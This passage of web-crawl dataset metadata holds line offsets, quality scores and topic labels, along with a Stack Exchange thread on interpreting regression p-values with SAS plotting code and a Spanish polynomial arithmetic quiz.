10504,
10519,
10520,
10592,
10593,
10663,
10719,
10720,
10721,
10738,
10739,
10809,
10889,
10890,
11461,
11462,
11478,
11495,
11507,
11522,
11568,
11602,
11615,
11616
],
"line_end_idx": [
51,
52,
66,
94,
115,
133,
135,
223,
225,
313,
316,
342,
344,
372,
374,
491,
493,
610,
613,
614,
649,
650,
1148,
1149,
1161,
1162,
1230,
1231,
1310,
1311,
1330,
1331,
1440,
1441,
1474,
1475,
1802,
1803,
1815,
1816,
1927,
1928,
1942,
1943,
2077,
2078,
2126,
2220,
2284,
2353,
2410,
2497,
2498,
2603,
2604,
2647,
2648,
2666,
2667,
2707,
2708,
3047,
3048,
3288,
3289,
3313,
3314,
3589,
3590,
3902,
3903,
4047,
4048,
4068,
4069,
4095,
4096,
4687,
4688,
4719,
4720,
4877,
4878,
4907,
4908,
4959,
4960,
5315,
5316,
5339,
5340,
5464,
5465,
5487,
5488,
5733,
5734,
5746,
5747,
5777,
5778,
5812,
5813,
5838,
5839,
6116,
6117,
6129,
6130,
6160,
6161,
6198,
6199,
6217,
6218,
6368,
6369,
6389,
6390,
6466,
6467,
6497,
6498,
6512,
6513,
6643,
6644,
6736,
6737,
6751,
6752,
6851,
6852,
6969,
6970,
7089,
7090,
7142,
7181,
7182,
7235,
7236,
7265,
7266,
7297,
7298,
7329,
7330,
7413,
7414,
7465,
7466,
7603,
7604,
7636,
7637,
7723,
7724,
7750,
7751,
7799,
7800,
7820,
7887,
7957,
8028,
8083,
8088,
8162,
8227,
8292,
8297,
8363,
8434,
8488,
8493,
8557,
8623,
8688,
8712,
8717,
8796,
8862,
8867,
8879,
8906,
8928,
8958,
8983,
9021,
9044,
9092,
9124,
9158,
9190,
9196,
9200,
9252,
9256,
9337,
9363,
9367,
9441,
9518,
9547,
9551,
9617,
9690,
9755,
9779,
9780,
9901,
9902,
9952,
9953,
9969,
9970,
9996,
9997,
10285,
10286,
10310,
10311,
10503,
10504,
10519,
10520,
10592,
10593,
10663,
10719,
10720,
10721,
10738,
10739,
10809,
10889,
10890,
11461,
11462,
11478,
11495,
11507,
11522,
11568,
11602,
11615,
11616,
11637
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 11637,
"ccnet_original_nlines": 248,
"rps_doc_curly_bracket": 0.0010311900405213237,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.11764705926179886,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.021836010739207268,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.2232620269060135,
"rps_doc_frac_unique_words": 0.4201834797859192,
"rps_doc_mean_word_length": 5.633639335632324,
"rps_doc_num_sentences": 99,
"rps_doc_symbol_to_word_ratio": 0.040998220443725586,
"rps_doc_unigram_entropy": 5.8703293800354,
"rps_doc_word_count": 1635,
"rps_doc_frac_chars_dupe_10grams": 0.07002496719360352,
"rps_doc_frac_chars_dupe_5grams": 0.09781783074140549,
"rps_doc_frac_chars_dupe_6grams": 0.07957875728607178,
"rps_doc_frac_chars_dupe_7grams": 0.07957875728607178,
"rps_doc_frac_chars_dupe_8grams": 0.07002496719360352,
"rps_doc_frac_chars_dupe_9grams": 0.07002496719360352,
"rps_doc_frac_chars_top_2gram": 0.01367930043488741,
"rps_doc_frac_chars_top_3gram": 0.01042232010513544,
"rps_doc_frac_chars_top_4gram": 0.007816740311682224,
"rps_doc_books_importance": -1273.0250244140625,
"rps_doc_books_importance_length_correction": -1273.0250244140625,
"rps_doc_openwebtext_importance": -615.3908081054688,
"rps_doc_openwebtext_importance_length_correction": -615.3908081054688,
"rps_doc_wikipedia_importance": -455.8459167480469,
"rps_doc_wikipedia_importance_length_correction": -455.8459167480469
},
"fasttext": {
"dclm": 0.8826531767845154,
"english": 0.01752639003098011,
"fineweb_edu_approx": 1.757310390472412,
"eai_general_math": 0.009295700117945671,
"eai_open_web_math": 0.33230161666870117,
"eai_web_code": 0.6249059438705444
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.462",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.67",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
8,543,941,865,525,169,000 | 3
$\begingroup$
I come from a primarily Bayesian background when using performing statistical analysis. In the context of linear regression, I would look at the posterior distributions for each regression coefficient. If a given coefficient was distributed ~N(1,1), I might not be terribly convinced of the associated variable's influence on the dependent variable.
From a frequentist perspective, regression coefficients often have p-values assigned. And I'm not quite sure what to make of this coming from a bayesian, full posterior interpretation. Is the idea that there's only an x% chance that we would have observed this specific regression coefficient inferred by accident?
$\endgroup$
2
3 Answers 3
19
$\begingroup$
A p value is the probability of observing a test statistic as or more extreme than the researcher's own test statistic, assuming the null hypothesis, and an assumed distribution model are both true.
So when you see frequentist statistical software provide regression output that includes something like:
name estimate S.E. t (or z) p value
cons 3.0 0.015 200 <0.001
beta 0.5 0.18 2.78 0.003
The default null hypothesis for regression coefficients in most stats software I am familiar with is $\text{H}_{0}\text{: }\beta = 0$, with $\text{H}_{\text{A}}\text{: }\beta \ne 0$. You should read the $p = 0.003$ as $p = P(|T_{\text{df}}|\ge |t|)$ given $\text{H}_{0}$, or in plain language: the probability of observing a value of $\widehat{\beta}$ as or more extreme than 0.5 is 0.003, assuming the null hypothesis is true (and assuming Student's t distribution truly describes the distribution of your test statistic). If a priori you had an $\alpha =0.01$, then you would interpret that p value as evidence against the null hypothesis, and for the alternative hypothesis (i.e. you found evidence that $\beta \ne 0$).
$\endgroup$
6
• 1
$\begingroup$ Isn't the distribution model part of the null hypothesis? A complete null hypothesis would be something like "All the variables have IID normal distributions" (if the means are identical, then $\beta=0$, and if the SD are the same, then $\hat \beta$ will have a Student's t distribution). $\endgroup$ Aug 19, 2021 at 2:54
• 1
$\begingroup$ I think the null hypothesis and the assumptions of the test are typically considered to be two different things. That's certainly the way I think about it, & I've never seen a book that introduced the null as, say, "$H_0: \mu_1 = \mu_2\ \&\ \mu_2-\mu_1 \sim \mathcal N(0, \sigma^2_{\mu_2-\mu_1})$". $\endgroup$ Aug 19, 2021 at 13:21
• $\begingroup$ @Alexis: I think it makes sense to mention that the $H_0$ for a specific $\beta$ implies that all other variables are still in the model (if there is more than one) and can be nonzero. $\endgroup$ Aug 19, 2021 at 13:44
• $\begingroup$ @Acccumulation: You are right that the full specification of the $H_0$ would require all other model assumptions (iid normal should hold for error terms, not for "all variables"). However, the test statistic is constructed to specifically distinguish $\beta=0$ from $\beta\neq 0$. Technically the rest of the assumptions go into both $H_0$ and $H_A$. $\endgroup$ Aug 19, 2021 at 13:48
• $\begingroup$ @Acccumulation I like to think of the distribution model as part of the null hypothesis. However, not all statisticians agree with that (like the lovely gung - Reinstate Monica), so I do not get pushy about it. :) $\endgroup$
– Alexis
Aug 19, 2021 at 16:46
0
$\begingroup$
These numbers are unreliable if your predictors are correlated.
Suppose for example that the value to be predicted is the sum of two hidden N(0,1) random variables $Y=Z_1+Z_2$ and $Z_2$ is unobserved, and you have observations of $X_1 = Z_1+N(0, 0.01), X_2 = Z_1+N(0, 0.01)$
Then the linear regression is degenerate. Any solution is equally good, in which the coefficients of $X_1, X_2$ sum to one. No magic with p-values can help you choose.
Perfect degeneracy like this is rare, but some level of correlation is common. Take home lesson: correlation is not causation.
$\endgroup$
4
• 2
$\begingroup$ Sorry, how does the “take home lesson” follow from the earlier claims? $\endgroup$ Aug 18, 2021 at 15:50
• $\begingroup$ "Any solution is equally good, in which the coefficients of X1,X2 sum to one." Do you mean "All solutions in which the coefficient of $X_1$ and $X_2$ sum to one are equally good"? $\endgroup$ Aug 19, 2021 at 2:57
• 4
$\begingroup$ @AryaMcCarthy, well, the answer correlates with the take home lesson, but it doesn't cause it. $\endgroup$
– justhalf
Aug 19, 2021 at 9:59
• 1
$\begingroup$ "These numbers are unreliable if your predictors are correlated." These numbers are perfectly reliable if they are not interpreted as being more than they actually are. They are not meant to be "magic to help choosing". $\endgroup$ Aug 19, 2021 at 13:50
0
$\begingroup$
In most regression software you can also request confidence intervals for the regression coefficients. The confidence interval is a set of plausible true values of the parameter, given the observed data. A 90% confidence interval contains all the hypotheses for the parameter under which the statistic is not significant at the two-sided 10% level. While this does not have the same interpretation as a 90% credible interval, it serves the same purpose. If the 90% confidence interval contains zero (two-sided p-value testing $H_0:\beta=0$ is greater than 0.10) you would not be convinced at the two-sided 10% level of the association between the covariate and the dependent variable. If the 90% confidence interval excludes zero (two-sided p-value testing $H_0:\beta=0$ is less than 0.10) this could be interpreted as evidence (not proof) of an association at the two-sided 10% level (or one-sided 5% level).
If you use something like Proc MCMC you are used to getting kernel density estimates for the posterior distribution of a parameter. You can analogously produce confidence curves using the point estimate and standard error. These curves show p-values and confidence intervals of all levels for hypotheses concerning the parameter.
The upper-tailed p-value for a standard issue Wald test as a function of the hypothesis would take the form
$$H(\beta,\boldsymbol{x})=1-\Phi\bigg(\frac{\hat{\beta}-\beta}{\hat{\text{se}}}\bigg).$$
Analogously, the lower-tailed p-value is $$H^{-}(\beta,\boldsymbol{x})=\Phi\bigg(\frac{\hat{\beta}-\beta}{\hat{\text{se}}}\bigg).$$
The corresponding confidence curve, $C(\beta,\boldsymbol{x})$, can then be defined as
$$C(\beta,\boldsymbol{x})=H(\beta,\boldsymbol{x})\text{, if $\beta < \hat{\beta}$ }$$ $$C(\beta,\boldsymbol{x})=H^{-}(\beta,\boldsymbol{x})\text{, if $\beta > \hat{\beta}$ }$$.
The confidence curve will look like a teepee or a pyramid on the parameter space depicting ex-post sampling probability of the experiment (frequentist confidence).
If, say, you have an estimated beta coefficient of 0.5 and an estimated standard error of 0.18, the figure below depicts the corresponding confidence curve for inference on the unknown fixed true $\beta$.
enter image description here
data norm;
do beta=-0.6 to 1.6 by 0.001;
beta_hat=0.5;
se=0.18;
C_lower=1-cdf('normal',(beta_hat-beta)/se,0,1); if beta gt beta_hat then C_lower=.;
C_upper=cdf('normal',(beta_hat-beta)/se,0,1); if beta lt beta_hat then C_upper=.;
output;
end;
run;
proc sql noprint;
select max(beta)
into: lower
from norm
where . lt C_lower le 0.05;
select min(beta)
into: upper
from norm
where . lt C_upper le 0.05;
quit;
data norm;
set norm;
lower=&lower.;
upper=&upper.;
yscatter=-0.035;
run;
ods escapechar="^";
ods graphics / height=3in width=6in border=no;
proc sgplot data=norm noautolegend;
series x=beta y=C_lower / lineattrs=(color=darkblue) name="cc" legendlabel="Confidence curve (one-sided p-value) with 90% confidence interval";
series x=beta y=C_upper / lineattrs=(color=darkblue);
scatter x=beta_hat y=yscatter / xerrorlower=lower xerrorupper=upper errorbarattrs=(color=darkblue) markerattrs=(color=darkblue);
refline 0 / axis=y;
yaxis max=0.6 label="p-value" min=0 offsetmin=0.1;
xaxis label="^{unicode beta}" min=-0.5 max=1.5;
keylegend "cc";
run;
$\endgroup$
2
• $\begingroup$ "all the hypotheses for the parameter that are not significant at the two-sided 10% level" Hypotheses do not have significance level. The precise statement is "all the hypotheses under which the statistic is not significant at the two-sided 10% level". $\endgroup$ Aug 19, 2021 at 3:00
• $\begingroup$ Thank you! Duly noted and corrected. $\endgroup$ Aug 19, 2021 at 13:04
Your Answer
By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.
Not the answer you're looking for? Browse other questions tagged or ask your own question. | {
"url": "https://stats.stackexchange.com/questions/540575/frequentist-perspective-of-regression-coefficients-and-significance-coming-from",
"source_domain": "stats.stackexchange.com",
"snapshot_id": "CC-MAIN-2024-22",
"warc_metadata": {
"Content-Length": "200548",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:JMQY6I5LJOHOM6AQX3YDIVV7CNRMLAKU",
"WARC-Concurrent-To": "<urn:uuid:4d032d87-a599-4253-b96c-48cd62dbe30f>",
"WARC-Date": "2024-05-18T14:39:39Z",
"WARC-IP-Address": "172.64.144.30",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:EOEQ267HFEITDDMACWGXG226GJQOPXEJ",
"WARC-Record-ID": "<urn:uuid:c06c337a-16e5-42de-93a1-cbb892b18af5>",
"WARC-Target-URI": "https://stats.stackexchange.com/questions/540575/frequentist-perspective-of-regression-coefficients-and-significance-coming-from",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:92c9ea5e-246a-4d9d-9c0c-543d2f1c712f>"
},
"warc_info": "isPartOf: CC-MAIN-2024-22\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-217\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
2,
16,
17,
367,
368,
683,
684,
696,
698,
699,
711,
712,
715,
729,
730,
929,
930,
1035,
1036,
1072,
1098,
1123,
1124,
1847,
1848,
1860,
1862,
1868,
2208,
2214,
2565,
2802,
3205,
3449,
3462,
3488,
3490,
3504,
3505,
3569,
3570,
3781,
3782,
3950,
3951,
4078,
4079,
4091,
4093,
4099,
4222,
4453,
4459,
4584,
4599,
4624,
4630,
4902,
4904,
4918,
4919,
5829,
5830,
6160,
6161,
6269,
6270,
6359,
6360,
6492,
6493,
6579,
6580,
6757,
6758,
6922,
6923,
7128,
7129,
7158,
7159,
7170,
7200,
7214,
7223,
7224,
7308,
7390,
7391,
7399,
7404,
7409,
7410,
7428,
7445,
7457,
7467,
7495,
7496,
7513,
7525,
7535,
7563,
7569,
7570,
7581,
7591,
7606,
7621,
7638,
7643,
7644,
7664,
7711,
7747,
7891,
7945,
8074,
8094,
8145,
8193,
8209,
8214,
8226,
8228,
8532,
8621,
8622,
8634,
8635,
8751,
8752
],
"line_end_idx": [
2,
16,
17,
367,
368,
683,
684,
696,
698,
699,
711,
712,
715,
729,
730,
929,
930,
1035,
1036,
1072,
1098,
1123,
1124,
1847,
1848,
1860,
1862,
1868,
2208,
2214,
2565,
2802,
3205,
3449,
3462,
3488,
3490,
3504,
3505,
3569,
3570,
3781,
3782,
3950,
3951,
4078,
4079,
4091,
4093,
4099,
4222,
4453,
4459,
4584,
4599,
4624,
4630,
4902,
4904,
4918,
4919,
5829,
5830,
6160,
6161,
6269,
6270,
6359,
6360,
6492,
6493,
6579,
6580,
6757,
6758,
6922,
6923,
7128,
7129,
7158,
7159,
7170,
7200,
7214,
7223,
7224,
7308,
7390,
7391,
7399,
7404,
7409,
7410,
7428,
7445,
7457,
7467,
7495,
7496,
7513,
7525,
7535,
7563,
7569,
7570,
7581,
7591,
7606,
7621,
7638,
7643,
7644,
7664,
7711,
7747,
7891,
7945,
8074,
8094,
8145,
8193,
8209,
8214,
8226,
8228,
8532,
8621,
8622,
8634,
8635,
8751,
8752,
8842
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 8842,
"ccnet_original_nlines": 132,
"rps_doc_curly_bracket": 0.008369149640202522,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.28681424260139465,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.02791145071387291,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.35996150970458984,
"rps_doc_frac_unique_words": 0.3810264468193054,
"rps_doc_mean_word_length": 5.135303497314453,
"rps_doc_num_sentences": 93,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.552037715911865,
"rps_doc_word_count": 1286,
"rps_doc_frac_chars_dupe_10grams": 0.05148395150899887,
"rps_doc_frac_chars_dupe_5grams": 0.13355542719364166,
"rps_doc_frac_chars_dupe_6grams": 0.07631737738847733,
"rps_doc_frac_chars_dupe_7grams": 0.05663233995437622,
"rps_doc_frac_chars_dupe_8grams": 0.05148395150899887,
"rps_doc_frac_chars_dupe_9grams": 0.05148395150899887,
"rps_doc_frac_chars_top_2gram": 0.008328289724886417,
"rps_doc_frac_chars_top_3gram": 0.013628100045025349,
"rps_doc_frac_chars_top_4gram": 0.01665657013654709,
"rps_doc_books_importance": -1059.1103515625,
"rps_doc_books_importance_length_correction": -1059.1103515625,
"rps_doc_openwebtext_importance": -542.840576171875,
"rps_doc_openwebtext_importance_length_correction": -542.840576171875,
"rps_doc_wikipedia_importance": -406.6361999511719,
"rps_doc_wikipedia_importance_length_correction": -406.6361999511719
},
"fasttext": {
"dclm": 0.11536514759063721,
"english": 0.8272268176078796,
"fineweb_edu_approx": 2.0153210163116455,
"eai_general_math": 0.8837906718254089,
"eai_open_web_math": 0.693799614906311,
"eai_web_code": 0.32974982261657715
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "519.5",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Probabilities; or, Mathematical statistics"
}
},
"secondary": {
"code": "519.536",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Probabilities; or, Mathematical statistics"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "4",
"label": "Analyze"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "1",
"label": "Leftover HTML"
},
"secondary": {
"code": "2",
"label": "Text Extraction Errors"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "6",
"label": "Indeterminate"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "4",
"label": "Advanced Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "5",
"label": "Exceptionally Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-1,964,914,325,492,552,200 | Examen Parcial de Operaciones Fundamentales
• 1. Suma los siguientes polinomios (3x2+2x-5)+(7-3x+4x2)
A) -7x2+x-2
B) 7x2-5x+9
C) 7x2+5x-9
D) 7x2-x+2
• 2. Suma los siguientes polinomios (4m3-2m2+5m)+(-2m-3m2+m3)
A) -5m3+5m2-3m
B) 6m3-5m2+6m
C) -6m3+5m2-6m
D) 5m3-5m2+3m
• 3. Suma los siguientes polinomios (2x3+5x−3)+(4x−3x2+2x3)
A) 4x3-3x2+9x-3
B) -4x3+3x2-9x+3
C) -6x3+2x2-7x-3
D) 6x3+2x2+7x-3
• 4. Suma los siguientes polinomios (2x2+5)+(x3-5x2-2x+3)
A) x3-5x2-2x+3
B) -x3-3x2+2x+8
C) x3-3x2-2x+8
D) 2x2+5
• 5. Suma los siguientes polinomios (-4x³+6x²-8x+1)+(2x²+7x-7)
A) -4x3+8x2+x+6
B) 2x²+7x-7
C) -4x3+8x2-x-6
D) -4x³+6x²-8x+1
• 6. Resta los siguientes polinomios (x+2)-(x+2)
A) 2X+4
B) 0
C) X+4
D) X2+4
• 7. Resta los siguientes polinomios (x+4)-(2X+5)
A) -3X-9
B) 3X-9
C) -X-1
D) 3X+9
• 8. Resta los siguientes polinomios (X2+3x+5)-(X2+3x+5)
A) 0
B) 22+6X-10
C) X2+6x+10
D) 24+6X+10
• 9. Resta los siguientes polinomios (X2+3x+5)-(X4+3x+5)
A) -X4+X2
B) X4+5X+10
C) X4+5X-10
D) X4+5X+10
• 10. Resta los siguientes polinomios (X2+3x+5)-(X4+2x+6)
A) -X4+5X+10
B) -X4+X2
C) -X4+X2+X-1
D) X4+5X+10
• 11. Multiplica los siguientes monomios ( - 4x )( 5x )
A) - 20x2
B) - 20x3
C) - 20x
D) 20x2
• 12. Multiplica los siguientes monomios 2x( - 10x3y)
A) 20xy
B) - 20x4y
C) 20x4
D) - 20xy
• 13. Realiza la siguiente multiplicación de un monomio por un polinomio 6y ( 5y2 - 4y + 2)
A) - 30y3 + 24y2
B) - 30y3 + 24y - 6y
C) - 30y3 + 24y2 - 6y
D) 30y3 - 24y2 - 6y
• 14. Multiplica los siguientes polinomios ( 2x + 5y )( 2x + 5y )
A) 4x2 - 20xy + 25y2
B) 9x2 + 20xy + 20y2
C) 4x2 + xy + 25y2
D) 4x2 + 20xy + 25y2
• 15. Multiplica los siguientes polinomios ( 1 - 2m + 5m2).( 8 - 6m )
A) 8 - 22m + 52m2 - 30m3
B) - 22m + 52m2 - 30m3
C) 25 - 22m + 52m2 - m3
D) 8 + m + 52m2 - 30m3
• 16. Realiza las siguientes division entre monomios y polinomios (-64 x5 y6) entre ( 4 x3 y4)
A) 16 x8 y10
B) - 16 x2 y2
C) - 64 x2 y2
D) - 8 x4 y4
• 17. Realiza las siguientes division entre monomios ( 32 m5 n6 ) entre ( 2 m3 n)
A) -16 m2 n5
B) 16 m2 n5
C) 16 m-2 n-5
D) 8 m2 n5
• 18. Realiza las siguientes division entre monomios (-256x5y4)entre(-16x8y9)
A) 32x-3y-5
B) -16x-3y-5
C) 16x-3y-5
D) 256x-3y-5
• 19. Realiza las siguientes division de un polinomio y un monomio (4x3y-32x2y2+16xy3)entre(4xy)
A) -x2y-8xy-16xy2
B) x2y+8xy-16xy2
C) x2y-8xy+16xy2
D) x2-8xy+4y2
• 20. Realiza las siguientes division de un polinomio y un monomio (x8+2x7-3x6+2x5-x4)entre(x4)
A) x4+x3-x2+x-1
B) -x4-2x3-3x2-2x-1
C) x4+2x3-3x2+2x-1
D) x4+4x3-6x2+2x-4
Otros exámenes de interés :
Examen creado con That Quiz — donde se practican las matemáticas. | {
"url": "https://www.thatquiz.org/es/preview?c=k4s8wwdf&s=ncl6nf",
"source_domain": "www.thatquiz.org",
"snapshot_id": "crawl=CC-MAIN-2022-05",
"warc_metadata": {
"Content-Length": "14157",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:Z2OGCZADCKRDM5F6QYUMHXN7HSTHVI3T",
"WARC-Concurrent-To": "<urn:uuid:a32ea2db-fdc7-4720-b001-5965a158b9a7>",
"WARC-Date": "2022-01-29T01:16:40Z",
"WARC-IP-Address": "34.231.43.152",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:SXTIUO5DFA4ERZ6GMMSXJV2EFMLSEH4M",
"WARC-Record-ID": "<urn:uuid:25904410-4748-4ced-8c4f-cd2ca0222089>",
"WARC-Target-URI": "https://www.thatquiz.org/es/preview?c=k4s8wwdf&s=ncl6nf",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:ddcfd4cf-c707-41a6-9b50-b9cc29c77264>"
},
"warc_info": "isPartOf: CC-MAIN-2022-05\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for January 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-45\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
44,
104,
116,
128,
140,
151,
215,
230,
244,
259,
273,
335,
351,
368,
385,
401,
461,
476,
492,
507,
516,
581,
597,
609,
625,
642,
693,
701,
706,
713,
721,
773,
782,
790,
798,
806,
865,
870,
882,
894,
906,
965,
975,
987,
999,
1011,
1071,
1084,
1094,
1108,
1120,
1178,
1188,
1198,
1207,
1215,
1271,
1279,
1290,
1298,
1308,
1402,
1419,
1440,
1462,
1482,
1550,
1571,
1592,
1611,
1632,
1704,
1729,
1752,
1776,
1799,
1896,
1909,
1923,
1937,
1950,
2034,
2047,
2059,
2073,
2084,
2164,
2176,
2189,
2201,
2214,
2313,
2331,
2348,
2365,
2379,
2477,
2493,
2513,
2532,
2551,
2579,
2580
],
"line_end_idx": [
44,
104,
116,
128,
140,
151,
215,
230,
244,
259,
273,
335,
351,
368,
385,
401,
461,
476,
492,
507,
516,
581,
597,
609,
625,
642,
693,
701,
706,
713,
721,
773,
782,
790,
798,
806,
865,
870,
882,
894,
906,
965,
975,
987,
999,
1011,
1071,
1084,
1094,
1108,
1120,
1178,
1188,
1198,
1207,
1215,
1271,
1279,
1290,
1298,
1308,
1402,
1419,
1440,
1462,
1482,
1550,
1571,
1592,
1611,
1632,
1704,
1729,
1752,
1776,
1799,
1896,
1909,
1923,
1937,
1950,
2034,
2047,
2059,
2073,
2084,
2164,
2176,
2189,
2201,
2214,
2313,
2331,
2348,
2365,
2379,
2477,
2493,
2513,
2532,
2551,
2579,
2580,
2645
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 2645,
"ccnet_original_nlines": 103,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.0217166505753994,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.1178903803229332,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.5243019461631775,
"rps_doc_frac_unique_words": 0.3689320385456085,
"rps_doc_mean_word_length": 4.1844658851623535,
"rps_doc_num_sentences": 22,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.4466423988342285,
"rps_doc_word_count": 412,
"rps_doc_frac_chars_dupe_10grams": 0.059164728969335556,
"rps_doc_frac_chars_dupe_5grams": 0.13051043450832367,
"rps_doc_frac_chars_dupe_6grams": 0.13051043450832367,
"rps_doc_frac_chars_dupe_7grams": 0.059164728969335556,
"rps_doc_frac_chars_dupe_8grams": 0.059164728969335556,
"rps_doc_frac_chars_dupe_9grams": 0.059164728969335556,
"rps_doc_frac_chars_top_2gram": 0.10556845366954803,
"rps_doc_frac_chars_top_3gram": 0.1600928157567978,
"rps_doc_frac_chars_top_4gram": 0.07830625772476196,
"rps_doc_books_importance": -593.0524291992188,
"rps_doc_books_importance_length_correction": -593.0524291992188,
"rps_doc_openwebtext_importance": -203.181396484375,
"rps_doc_openwebtext_importance_length_correction": -203.181396484375,
"rps_doc_wikipedia_importance": -243.96302795410156,
"rps_doc_wikipedia_importance_length_correction": -243.96302795410156
},
"fasttext": {
"dclm": 0.9998512268066406,
"english": 0.01802629977464676,
"fineweb_edu_approx": 1.6597484350204468,
"eai_general_math": 0.4010884165763855,
"eai_open_web_math": 0.9702568054199219,
"eai_web_code": 0.03015756979584694
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "512.94",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Algebra"
}
},
"secondary": {
"code": "512",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Algebra"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "6",
"label": "Content Listing"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
